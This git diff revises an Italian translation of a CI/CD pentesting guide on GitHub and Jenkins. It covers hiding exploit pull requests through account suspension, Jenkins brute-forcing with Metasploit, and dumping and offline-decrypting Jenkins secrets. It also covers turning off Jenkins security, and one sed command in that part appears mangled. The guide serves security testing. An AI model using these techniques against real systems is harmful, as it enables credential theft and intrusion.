[**qui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub target. In GitHub per impostazione predefinita, non **possiamo eliminare un PR da internet**, ma c'è un colpo di scena. Per gli account GitHub che sono **sospesi** da Github, tutti i loro **PR vengono automaticamente eliminati** e rimossi da internet. Quindi, per nascondere la tua attività, devi o far **sospendere il tuo account GitHub o far segnare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (fondamentalmente rimuovere tutti i tuoi PR di exploit) +(Tecnica da [**qui**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub target. In GitHub per impostazione predefinita, non **possiamo eliminare un PR da internet**, ma c'è un colpo di scena. Per gli account Github che sono **sospesi** da Github, tutti i loro **PR vengono automaticamente eliminati** e rimossi da internet. Quindi, per nascondere la tua attività, devi o far **sospendere il tuo account GitHub o far segnare il tuo account**. Questo **nasconderebbe tutte le tue attività** su GitHub da internet (fondamentalmente rimuovere tutti i tuoi exploit PR) -Un'organizzazione su GitHub è molto proattiva nel segnalare account a GitHub. Tutto ciò che devi fare è condividere "qualcosa" in un Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e lì hai, reso invisibile il tuo exploit su github. +Un'organizzazione in GitHub è molto proattiva nel segnalare account a GitHub. Tutto ciò che devi fare è condividere "qualcosa" nell'Issue e si assicureranno che il tuo account venga sospeso in 12 ore :p e lì hai, reso il tuo exploit invisibile su github. > [!WARNING] > L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub da SIEM poiché dall'interfaccia di GitHub il PR verrebbe rimosso. diff --git a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md index 20a8acb85..34549ffb5 100644 --- a/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md +++ b/src/pentesting-ci-cd/github-security/accessible-deleted-data-in-github.md @@ -11,13 +11,13 @@ Questi modi per accedere ai dati di Github che si suppone siano stati cancellati 3. Cancellare il tuo fork > [!CAUTION] -> I dati committati nel fork cancellato sono ancora accessibili. +> I dati commessi nel fork cancellato sono ancora accessibili. ## Accesso ai Dati di Repo Cancellati 1. Hai un repo pubblico su GitHub. 2. Un utente fork il tuo repo. -3. Committi dati dopo che loro lo hanno forkato (e non sincronizzano mai il loro fork con i tuoi aggiornamenti). +3. Committi dati dopo che loro lo hanno forkato (e loro non sincronizzano mai il loro fork con i tuoi aggiornamenti). 4. Cancellare l'intero repo. > [!CAUTION] @@ -40,7 +40,7 @@ Lo stesso post del blog propone 2 opzioni: Se il valore dell'ID del commit (sha-1) è noto, è possibile accedervi in `https://github.com///commit/` -### Forzatura di valori SHA-1 brevi +### Forzatura dei valori SHA-1 brevi È lo stesso per accedere a entrambi: diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md index 14199a1e8..718ec5fe5 100644 --- a/src/pentesting-ci-cd/github-security/basic-github-information.md +++ b/src/pentesting-ci-cd/github-security/basic-github-information.md @@ -4,7 +4,7 @@ ## Struttura di Base -La struttura di base dell'ambiente github di una grande **azienda** è possedere un **enterprise** che possiede **diverse organizzazioni** e ognuna di esse può contenere **diversi repository** e **diversi team**. Le aziende più piccole possono semplicemente **possedere un'organizzazione e nessun enterprise**. +La struttura di base dell'ambiente github di una grande **azienda** è possedere un **enterprise** che possiede **diverse organizzazioni** e ognuna di esse può contenere **diversi repository** e **diversi team**. Le aziende più piccole possono possedere solo **un'organizzazione e nessun enterprise**. Dal punto di vista di un utente, un **utente** può essere un **membro** di **diversi enterprise e organizzazioni**. All'interno di esse, l'utente può avere **diversi ruoli di enterprise, organizzazione e repository**. @@ -16,20 +16,20 @@ E infine, **i repository possono avere meccanismi di protezione speciali**. ### Ruoli di Enterprise -- **Proprietario dell'enterprise**: Le persone con questo ruolo possono **gestire gli amministratori, gestire le organizzazioni all'interno dell'enterprise, gestire le impostazioni dell'enterprise, applicare politiche tra le organizzazioni**. Tuttavia, **non possono accedere alle impostazioni o ai contenuti dell'organizzazione** a meno che non vengano nominati proprietari dell'organizzazione o non ricevano accesso diretto a un repository di proprietà dell'organizzazione. -- **Membri dell'enterprise**: I membri delle organizzazioni possedute dal tuo enterprise sono anche **automaticamente membri dell'enterprise**. +- **Proprietario dell'Enterprise**: Le persone con questo ruolo possono **gestire gli amministratori, gestire le organizzazioni all'interno dell'enterprise, gestire le impostazioni dell'enterprise, applicare politiche tra le organizzazioni**. Tuttavia, **non possono accedere alle impostazioni o ai contenuti dell'organizzazione** a meno che non vengano nominati proprietari dell'organizzazione o non ricevano accesso diretto a un repository di proprietà dell'organizzazione. +- **Membri dell'Enterprise**: I membri delle organizzazioni possedute dal tuo enterprise sono anche **automaticamente membri dell'enterprise**. ### Ruoli di Organizzazione In un'organizzazione, gli utenti possono avere diversi ruoli: -- **Proprietari dell'organizzazione**: I proprietari dell'organizzazione hanno **accesso amministrativo completo alla tua organizzazione**. Questo ruolo dovrebbe essere limitato, ma a non meno di due persone, nella tua organizzazione. -- **Membri dell'organizzazione**: Il ruolo **predefinito**, non amministrativo per **le persone in un'organizzazione** è il membro dell'organizzazione. Per impostazione predefinita, i membri dell'organizzazione **hanno un certo numero di permessi**. -- **Manager di fatturazione**: I manager di fatturazione sono utenti che possono **gestire le impostazioni di fatturazione per la tua organizzazione**, come le informazioni di pagamento. -- **Manager della Sicurezza**: È un ruolo che i proprietari dell'organizzazione possono assegnare a qualsiasi team in un'organizzazione. Quando applicato, dà a ogni membro del team i permessi per **gestire gli avvisi e le impostazioni di sicurezza nella tua organizzazione, così come i permessi di lettura per tutti i repository** nell'organizzazione. +- **Proprietari dell'Organizzazione**: I proprietari dell'organizzazione hanno **accesso amministrativo completo alla tua organizzazione**. Questo ruolo dovrebbe essere limitato, ma non a meno di due persone, nella tua organizzazione. +- **Membri dell'Organizzazione**: Il ruolo **predefinito**, non amministrativo per **le persone in un'organizzazione** è il membro dell'organizzazione. Per impostazione predefinita, i membri dell'organizzazione **hanno un certo numero di permessi**. +- **Manager di Fatturazione**: I manager di fatturazione sono utenti che possono **gestire le impostazioni di fatturazione per la tua organizzazione**, come le informazioni di pagamento. +- **Manager della Sicurezza**: È un ruolo che i proprietari dell'organizzazione possono assegnare a qualsiasi team in un'organizzazione. Quando applicato, fornisce a ogni membro del team i permessi per **gestire avvisi e impostazioni di sicurezza nella tua organizzazione, così come permessi di lettura per tutti i repository** nell'organizzazione. - Se la tua organizzazione ha un team di sicurezza, puoi utilizzare il ruolo di manager della sicurezza per dare ai membri del team il minimo accesso di cui hanno bisogno all'organizzazione. -- **Manager delle App Github**: Per consentire ad altri utenti di **gestire le App GitHub di proprietà di un'organizzazione**, un proprietario può concedere loro i permessi di manager delle App GitHub. -- **Collaboratori esterni**: Un collaboratore esterno è una persona che ha **accesso a uno o più repository dell'organizzazione ma non è esplicitamente un membro** dell'organizzazione. +- **Manager delle App Github**: Per consentire ad utenti aggiuntivi di **gestire le App GitHub di proprietà di un'organizzazione**, un proprietario può concedere loro i permessi di manager delle App GitHub. +- **Collaboratori Esterni**: Un collaboratore esterno è una persona che ha **accesso a uno o più repository dell'organizzazione ma non è esplicitamente un membro** dell'organizzazione. Puoi **confrontare i permessi** di questi ruoli in questa tabella: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles) @@ -124,7 +124,7 @@ Alcuni consigli di sicurezza: - Un'App GitHub dovrebbe **eseguire azioni indipendentemente da un utente** (a meno che l'app non stia utilizzando un token [user-to-server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests)). Per mantenere i token di accesso user-to-server più sicuri, puoi utilizzare token di accesso che scadranno dopo 8 ore e un token di aggiornamento che può essere scambiato per un nuovo token di accesso. Per ulteriori informazioni, vedere "[Aggiornamento dei token di accesso user-to-server](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)." - Assicurati che l'App GitHub si integri con **repository specifici**. - L'App GitHub dovrebbe **collegarsi a un account personale o a un'organizzazione**. -- Non aspettarti che l'App GitHub conosca e faccia tutto ciò che un utente può. +- Non aspettarti che l'App GitHub conosca e faccia tutto ciò che un utente può fare. - **Non utilizzare un'App GitHub se hai solo bisogno di un servizio "Login con GitHub"**. Ma un'App GitHub può utilizzare un [flusso di identificazione utente](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) per accedere gli utenti _e_ fare altre cose. - Non costruire un'App GitHub se _vuoi solo_ agire come un utente GitHub e fare tutto ciò che quell'utente può fare. - Se stai utilizzando la tua app con GitHub Actions e desideri modificare i file di workflow, devi autenticarti per conto dell'utente con un token OAuth che include lo scope `workflow`. L'utente deve avere permessi di admin o scrittura sul repository che contiene il file di workflow. Per ulteriori informazioni, vedere "[Comprendere gli scope per le app OAuth](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)." @@ -142,13 +142,13 @@ Le azioni Git consentono di automatizzare l'**esecuzione di codice quando si ver In _https://github.com/organizations/\/settings/actions_ è possibile controllare la **configurazione delle azioni github** per l'organizzazione. -È possibile vietare completamente l'uso delle azioni github, **consentire tutte le azioni github**, o consentire solo determinate azioni. +È possibile vietare completamente l'uso delle azioni github, **consentire tutte le azioni github**, o consentire solo alcune azioni. È anche possibile configurare **chi ha bisogno di approvazione per eseguire un'azione Github** e i **permessi del GITHUB_TOKEN** di un'azione Github quando viene eseguita. ### Segreti Git -Le azioni Github di solito necessitano di qualche tipo di segreti per interagire con github o applicazioni di terze parti. Per **evitare di metterli in chiaro** nel repository, github consente di inserirli come **Segreti**. +Le azioni Github di solito necessitano di qualche tipo di segreti per interagire con github o applicazioni di terze parti. Per **evitare di metterli in chiaro** nel repository, github consente di inserirli come **Secrets**. Questi segreti possono essere configurati **per il repository o per tutta l'organizzazione**. Poi, affinché l'**Azione possa accedere al segreto**, devi dichiararlo come: ```yaml @@ -172,7 +172,7 @@ example-command "$SUPER_SECRET" > Una volta configurati nel repo o nelle organizzazioni, **gli utenti di github non potranno più accedervi**, potranno solo **cambiarli**. -Pertanto, **l'unico modo per rubare i segreti di github è avere accesso alla macchina che sta eseguendo la Github Action** (in quel caso potrai accedere solo ai segreti dichiarati per l'Action). +Pertanto, **l'unico modo per rubare i segreti di github è avere accesso alla macchina che sta eseguendo la Github Action** (in quel scenario potrai accedere solo ai segreti dichiarati per l'Action). ### Git Environments @@ -183,62 +183,62 @@ deployment: runs-on: ubuntu-latest environment: env_name ``` -You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\ -It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed. +Puoi configurare un ambiente per essere **accessibile** da **tutti i rami** (predefinito), **solo rami protetti** o **specificare** quali rami possono accedervi.\ +Può anche impostare un **numero di revisioni richieste** prima di **eseguire** un **azione** utilizzando un **ambiente** o **attendere** un **tempo** prima di consentire il proseguimento delle distribuzioni. ### Git Action Runner -A Github Action can be **eseguita all'interno dell'ambiente github** or can be executed in a **third party infrastructure** configured by the user. +Un'azione Github può essere **eseguita all'interno dell'ambiente github** o può essere eseguita in un **infrastruttura di terze parti** configurata dall'utente. -Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **più economico**. +Diverse organizzazioni consentiranno di eseguire azioni Github in un **infrastruttura di terze parti** poiché tende a essere **più economica**. -You can **elencare i runner self-hosted** of an organization in _https://github.com/organizations/\/settings/actions/runners_ +Puoi **elencare i runner self-hosted** di un'organizzazione in _https://github.com/organizations/\/settings/actions/runners_ -The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml. +Il modo per scoprire quali **Github Actions vengono eseguite in infrastrutture non github** è cercare `runs-on: self-hosted` nella configurazione yaml dell'azione Github. -It's **non possibile eseguire un'azione Github di un'organizzazione all'interno di una box self-hosted** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs. +**Non è possibile eseguire un'azione Github di un'organizzazione all'interno di una macchina self-hosted** di un'altra organizzazione perché **un token unico viene generato per il Runner** quando viene configurato per sapere a quale runner appartiene. -If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **potrebbe avere accesso all'endpoint dei metadati** and **rubare il token dell'account di servizio** the machine is running with. +Se il **Github Runner personalizzato è configurato in una macchina all'interno di AWS o GCP**, l'azione **potrebbe avere accesso all'endpoint dei metadati** e **rubare il token dell'account di servizio** con cui la macchina sta funzionando. -### Git Action Compromise +### Compromissione dell'azione Git -If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromettere** the **container** where it's being executed. +Se tutte le azioni (o un'azione malevola) sono consentite, un utente potrebbe utilizzare un'**azione Github** che è **malevola** e **comprometterà** il **container** in cui viene eseguita. > [!CAUTION] -> A **malicious Github Action** run could be **abusata** by the attacker to: +> Un'**azione Github malevola** eseguita potrebbe essere **abusata** dall'attaccante per: > -> - **Rubare tutti i segreti** the Action has access to -> - **Muoversi lateralmente** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service) -> - **Abusare del token** used by the **workflow** to **rubare il codice del repo** where the Action is executed or **anche modificarlo**. +> - **Rubare tutti i segreti** a cui l'azione ha accesso +> - **Muoversi lateralmente** se l'azione viene eseguita all'interno di un'**infrastruttura di terze parti** dove il token SA utilizzato per eseguire la macchina può essere accessibile (probabilmente tramite il servizio di metadati) +> - **Abusare del token** utilizzato dal **workflow** per **rubare il codice del repo** dove l'azione è eseguita o **anche modificarlo**. -## Branch Protections +## Protezioni dei rami -Branch protections are designed to **non dare il controllo completo di un repository** to the users. The goal is to **mettere diversi metodi di protezione prima di poter scrivere codice all'interno di un ramo**. +Le protezioni dei rami sono progettate per **non dare il controllo completo di un repository** agli utenti. L'obiettivo è **mettere in atto diversi metodi di protezione prima di poter scrivere codice all'interno di un ramo**. -The **branch protections of a repository** can be found in _https://github.com/\/\/settings/branches_ +Le **protezioni dei rami di un repository** possono essere trovate in _https://github.com/\/\/settings/branches_ > [!NOTE] -> It's **non possibile impostare una protezione del ramo a livello di organizzazione**. So all of them must be declared on each repo. +> **Non è possibile impostare una protezione del ramo a livello di organizzazione**. Quindi tutte devono essere dichiarate su ciascun repo. -Different protections can be applied to a branch (like to master): +Diverse protezioni possono essere applicate a un ramo (come a master): -- You can **richiedere un PR prima di unire** (so you cannot directly merge code over the branch). If this is select different other protections can be in place: -- **Richiedere un numero di approvazioni**. It's very common to require 1 or 2 more people to approve your PR so a single user isn't capable of merge code directly. -- **Annullare le approvazioni quando nuovi commit vengono inviati**. If not, a user may approve legit code and then the user could add malicious code and merge it. -- **Richiedere revisioni dai Code Owners**. At least 1 code owner of the repo needs to approve the PR (so "random" users cannot approve it) -- **Limitare chi può annullare le revisioni delle pull request.** You can specify people or teams allowed to dismiss pull request reviews. -- **Consentire attori specificati di bypassare i requisiti delle pull request**. These users will be able to bypass previous restrictions. -- **Richiedere che i controlli di stato passino prima di unire.** Some checks needs to pass before being able to merge the commit (like a github action checking there isn't any cleartext secret). -- **Richiedere la risoluzione delle conversazioni prima di unire**. All comments on the code needs to be resolved before the PR can be merged. -- **Richiedere commit firmati**. The commits need to be signed. -- **Richiedere una storia lineare.** Prevent merge commits from being pushed to matching branches. -- **Includere gli amministratori**. If this isn't set, admins can bypass the restrictions. -- **Limitare chi può inviare a rami corrispondenti**. Restrict who can send a PR. +- Puoi **richiedere una PR prima di unire** (quindi non puoi unire direttamente il codice sul ramo). Se questo è selezionato, possono essere in atto diverse altre protezioni: +- **Richiedere un numero di approvazioni**. È molto comune richiedere che 1 o 2 persone in più approvino la tua PR in modo che un singolo utente non possa unire direttamente il codice. +- **Annullare le approvazioni quando vengono inviati nuovi commit**. Altrimenti, un utente potrebbe approvare codice legittimo e poi l'utente potrebbe aggiungere codice malevolo e unirlo. +- **Richiedere revisioni dai proprietari del codice**. Almeno 1 proprietario del codice del repo deve approvare la PR (quindi gli utenti "casuali" non possono approvarla) +- **Limitare chi può annullare le revisioni delle richieste di pull.** Puoi specificare persone o team autorizzati ad annullare le revisioni delle richieste di pull. +- **Consentire a attori specificati di bypassare i requisiti delle richieste di pull**. Questi utenti saranno in grado di bypassare le restrizioni precedenti. +- **Richiedere che i controlli di stato passino prima di unire.** Alcuni controlli devono passare prima di poter unire il commit (come un'azione github che verifica che non ci siano segreti in chiaro). +- **Richiedere la risoluzione delle conversazioni prima di unire**. Tutti i commenti sul codice devono essere risolti prima che la PR possa essere unita. +- **Richiedere commit firmati**. I commit devono essere firmati. +- **Richiedere una storia lineare.** Impedire che i commit di unione vengano inviati a rami corrispondenti. +- **Includere gli amministratori**. Se questo non è impostato, gli amministratori possono bypassare le restrizioni. +- **Limitare chi può inviare a rami corrispondenti**. Limitare chi può inviare una PR. > [!NOTE] -> As you can see, even if you managed to obtain some credentials of a user, **i repo potrebbero essere protetti evitando che tu possa inviare codice a master** for example to compromise the CI/CD pipeline. +> Come puoi vedere, anche se sei riuscito a ottenere alcune credenziali di un utente, **i repo potrebbero essere protetti impedendoti di inviare codice a master** per esempio per compromettere il pipeline CI/CD. -## References +## Riferimenti - [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization) - [https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)[https://docs.github.com/en/enterprise-server](https://docs.github.com/en/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise) diff --git a/src/pentesting-ci-cd/jenkins-security/README.md b/src/pentesting-ci-cd/jenkins-security/README.md index dc16dadca..71851456b 100644 --- a/src/pentesting-ci-cd/jenkins-security/README.md +++ b/src/pentesting-ci-cd/jenkins-security/README.md @@ -24,6 +24,8 @@ Senza credenziali puoi guardare dentro il percorso _**/asynchPeople/**_ o _**/se Potresti essere in grado di ottenere la versione di Jenkins dal percorso _**/oops**_ o _**/error**_. +![](<../../images/image (146).png>) + ### Vulnerabilità Conosciute {{#ref}} @@ -48,7 +50,7 @@ Inoltre, se la **funzionalità**/**plugin** **SSO** erano presenti, dovresti ten ### Bruteforce -**Jenkins** manca di **politiche di password** e **mitigazione del brute-force sui nomi utente**. È essenziale **bruteforzare** gli utenti poiché potrebbero essere in uso **password deboli** o **nomi utente come password**, anche **nomi utente invertiti come password**. +**Jenkins** manca di **politiche sulle password** e di **mitigazione del brute-force sui nomi utente**. È essenziale **bruteforzare** gli utenti poiché potrebbero essere in uso **password deboli** o **nomi utente come password**, anche **nomi utente invertiti come password**. ``` msf> use auxiliary/scanner/http/jenkins_login ``` @@ -60,7 +62,7 @@ Usa [questo script python](https://github.com/gquere/pwn_jenkins/blob/master/pas Molte organizzazioni combinano **sistemi di gestione del controllo sorgente (SCM) basati su SaaS** come GitHub o GitLab con una **soluzione CI interna e self-hosted** come Jenkins o TeamCity. Questa configurazione consente ai sistemi CI di **ricevere eventi webhook dai fornitori di controllo sorgente SaaS**, principalmente per attivare i lavori della pipeline. -Per ottenere ciò, le organizzazioni **whitelistano** i **range IP** delle **piattaforme SCM**, consentendo loro di accedere al **sistema CI interno** tramite **webhook**. Tuttavia, è importante notare che **chiunque** può creare un **account** su GitHub o GitLab e configurarlo per **attivare un webhook**, potenzialmente inviando richieste al **sistema CI interno**. +Per raggiungere questo obiettivo, le organizzazioni **whitelistano** i **range IP** delle **piattaforme SCM**, consentendo loro di accedere al **sistema CI interno** tramite **webhook**. Tuttavia, è importante notare che **chiunque** può creare un **account** su GitHub o GitLab e configurarlo per **attivare un webhook**, potenzialmente inviando richieste al **sistema CI interno**. Controlla: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/) @@ -83,7 +85,7 @@ Se hai accesso a Jenkins, puoi elencare altri utenti registrati in [http://127.0 ### Dumping delle build per trovare segreti in chiaro -Usa [questo script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) per dumpare le uscite della console delle build e le variabili d'ambiente delle build per trovare, si spera, segreti in chiaro. +Usa [questo script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) per dumpare le uscite della console delle build e le variabili d'ambiente delle build per sperare di trovare segreti in chiaro. ```bash python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps cd build_dumps @@ -95,13 +97,13 @@ Se l'utente compromesso ha **sufficienti privilegi per creare/modificare un nuov ![](<../../images/image (218).png>) -Di solito troverai le credenziali ssh di Jenkins in un **provider globale** (`/credentials/`), quindi puoi anche estrarle come faresti con qualsiasi altro segreto. Maggiori informazioni nella sezione [**Dumping secrets**](./#dumping-secrets). +Di solito troverai le credenziali ssh di Jenkins in un **fornitore globale** (`/credentials/`), quindi puoi anche estrarle come faresti con qualsiasi altro segreto. Maggiori informazioni nella sezione [**Dumping secrets section**](./#dumping-secrets). ### **RCE in Jenkins** -Ottenere una **shell nel server Jenkins** offre all'attaccante l'opportunità di leak tutti i **segreti** e le **variabili d'ambiente** e di **sfruttare altre macchine** situate nella stessa rete o persino **raccogliere credenziali cloud**. +Ottenere una **shell nel server Jenkins** offre all'attaccante l'opportunità di rubare tutti i **segreti** e le **variabili d'ambiente** e di **sfruttare altre macchine** situate nella stessa rete o persino **raccogliere credenziali cloud**. -Per impostazione predefinita, Jenkins **gira come SYSTEM**. Quindi, comprometterlo darà all'attaccante **privilegi SYSTEM**. +Per impostazione predefinita, Jenkins verrà **eseguito come SYSTEM**. Quindi, comprometterlo darà all'attaccante **privilegi SYSTEM**. ### **RCE Creando/Modificando un progetto** @@ -140,20 +142,20 @@ Le **pipeline** possono anche essere utilizzate come **meccanismo di build nei p È anche possibile **memorizzare i file di configurazione della pipeline in altri luoghi** (in altri repository, ad esempio) con l'obiettivo di **separare** l'accesso al repository e l'accesso alla pipeline. Se un attaccante ha **accesso in scrittura su quel file**, sarà in grado di **modificarlo** e **potenzialmente attivare** la pipeline senza nemmeno avere accesso a Jenkins.\ -È possibile che l'attaccante debba **bypassare alcune protezioni dei branch** (a seconda della piattaforma e dei privilegi dell'utente, potrebbero essere bypassate o meno). +È possibile che l'attaccante debba **bypassare alcune protezioni dei rami** (a seconda della piattaforma e dei privilegi dell'utente, potrebbero essere bypassate o meno). I trigger più comuni per eseguire una pipeline personalizzata sono: -- **Pull request** al branch principale (o potenzialmente ad altri branch) -- **Push al branch principale** (o potenzialmente ad altri branch) -- **Aggiornare il branch principale** e aspettare che venga eseguito in qualche modo +- **Pull request** al ramo principale (o potenzialmente ad altri rami) +- **Push al ramo principale** (o potenzialmente ad altri rami) +- **Aggiornare il ramo principale** e aspettare che venga eseguito in qualche modo > [!NOTE] -> Se sei un **utente esterno** non dovresti aspettarti di creare una **PR al branch principale** del repo di **un altro utente/organizzazione** e **attivare la pipeline**... ma se è **mal configurato** potresti completamente **compromettere aziende semplicemente sfruttando questo**. +> Se sei un **utente esterno** non dovresti aspettarti di creare una **PR al ramo principale** del repo di **un altro utente/organizzazione** e **attivare la pipeline**... ma se è **mal configurato** potresti compromettere completamente le aziende semplicemente sfruttando questo. ### RCE Pipeline -Nella precedente sezione RCE è già stata indicata una tecnica per [**ottenere RCE modificando una pipeline**](./#rce-creating-modifying-pipeline). +Nella sezione RCE precedente è già stata indicata una tecnica per [**ottenere RCE modificando una pipeline**](./#rce-creating-modifying-pipeline). ### Controllo delle variabili d'ambiente @@ -174,7 +176,7 @@ steps { ``` ### Dumping secrets -Per informazioni su come vengono solitamente trattati i segreti da Jenkins, consulta le informazioni di base: +Per informazioni su come i segreti vengono solitamente trattati da Jenkins, controlla le informazioni di base: {{#ref}} basic-jenkins-information.md @@ -182,7 +184,7 @@ basic-jenkins-information.md Le credenziali possono essere **scoperta a fornitori globali** (`/credentials/`) o a **progetti specifici** (`/job//configure`). Pertanto, per esfiltrare tutti, è necessario **compromettere almeno tutti i progetti** che contengono segreti ed eseguire pipeline personalizzate/contaminate. -C'è un altro problema, per ottenere un **segreto all'interno dell'env** di una pipeline è necessario **conoscere il nome e il tipo del segreto**. Ad esempio, se provi a **caricare** un **segreto** **`usernamePassword`** come un **segreto** **`string`** otterrai questo **errore**: +C'è un altro problema, per ottenere un **segreto all'interno dell'env** di una pipeline è necessario **conoscere il nome e il tipo del segreto**. Ad esempio, se provi a **caricare** un **segreto `usernamePassword`** come un **segreto `string`**, otterrai questo **errore**: ``` ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected ``` @@ -222,7 +224,7 @@ Alla fine di questa pagina puoi **trovare tutti i tipi di credenziali**: [https: ### Trigger -Dalla [documentazione](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La direttiva `triggers` definisce i **modi automatizzati in cui il Pipeline dovrebbe essere riattivato**. Per i Pipeline che sono integrati con una sorgente come GitHub o BitBucket, `triggers` potrebbero non essere necessari poiché l'integrazione basata su webhook sarà probabilmente già presente. I trigger attualmente disponibili sono `cron`, `pollSCM` e `upstream`. +Dalla [documentazione](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): La direttiva `triggers` definisce i **modi automatizzati in cui il Pipeline dovrebbe essere riattivato**. Per i Pipeline che sono integrati con una sorgente come GitHub o BitBucket, `triggers` potrebbe non essere necessario poiché l'integrazione basata su webhook sarà probabilmente già presente. I trigger attualmente disponibili sono `cron`, `pollSCM` e `upstream`. Esempio di Cron: ```bash @@ -253,7 +255,7 @@ agent {label 'built-in'} ``` ### Esempio completo -Pipeline in un agente specifico, con un trigger cron, con variabili di ambiente per la pipeline e lo stage, caricando 2 variabili in un passo e inviando una reverse shell: +Pipeline in un agente specifico, con un trigger cron, con variabili d'ambiente della pipeline e dello stage, caricando 2 variabili in un passaggio e inviando una reverse shell: ```bash pipeline { agent {label 'built-in'} @@ -314,7 +316,7 @@ msf> post/multi/gather/jenkins_gather Puoi elencare i segreti accedendo a `/credentials/` se hai abbastanza permessi. Tieni presente che questo elencherà solo i segreti all'interno del file `credentials.xml`, ma **i file di configurazione della build** potrebbero avere anche **ulteriori credenziali**. -Se puoi **vedere la configurazione di ciascun progetto**, puoi anche vedere lì i **nomi delle credenziali (segreti)** utilizzati per accedere al repository e **altre credenziali del progetto**. +Se puoi **vedere la configurazione di ogni progetto**, puoi anche vedere lì i **nomi delle credenziali (segreti)** utilizzati per accedere al repository e **altre credenziali del progetto**. ![](<../../images/image (180).png>) @@ -347,9 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<" # Secret example credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==} ``` -#### Decrypt Jenkins secrets offline +#### Decrittare i segreti di Jenkins offline -Se hai estratto le **password necessarie per decriptare i segreti**, usa [**questo script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **per decriptare quei segreti**. +Se hai estratto le **password necessarie per decrittare i segreti**, usa [**questo script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **per decrittare quei segreti**. ```bash python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml 06165DF2-C047-4402-8CAB-1C8EC526C115 @@ -363,12 +365,12 @@ println(hudson.util.Secret.decrypt("{...}")) ``` ### Crea un nuovo utente admin -1. Accedi al file config.xml di Jenkins in `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkins\` +1. Accedi al file Jenkins config.xml in `/var/lib/jenkins/config.xml` o `C:\Program Files (x86)\Jenkis\` 2. Cerca la parola `true` e cambia la parola **`true`** in **`false`**. 1. `sed -i -e 's/truefalsetrue` e **riavvia di nuovo Jenkins**. +4. Ora vai di nuovo al portale Jenkins e **Jenkins non chiederà alcuna credenziale** questa volta. Naviga su "**Manage Jenkins**" per impostare di nuovo la **password dell'amministratore**. +5. **Riabilita** la **sicurezza** cambiando le impostazioni in `true` e **riavvia di nuovo Jenkins**. ## Riferimenti diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md index 5c0b230ff..80d8b201b 100644 --- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md +++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md @@ -30,24 +30,24 @@ In `/configureSecurity` è possibile **configurare il metodo di autorizzazione d - **Chiunque può fare qualsiasi cosa**: Anche l'accesso anonimo può amministrare il server. - **Modalità legacy**: Stessa di Jenkins <1.164. Se hai il **ruolo "admin"**, ti verrà concesso **il pieno controllo** sul sistema, e **altrimenti** (inclusi gli utenti **anonimi**) avrai accesso **in lettura**. -- **Gli utenti autenticati possono fare qualsiasi cosa**: In questa modalità, ogni **utente autenticato ottiene il pieno controllo** di Jenkins. L'unico 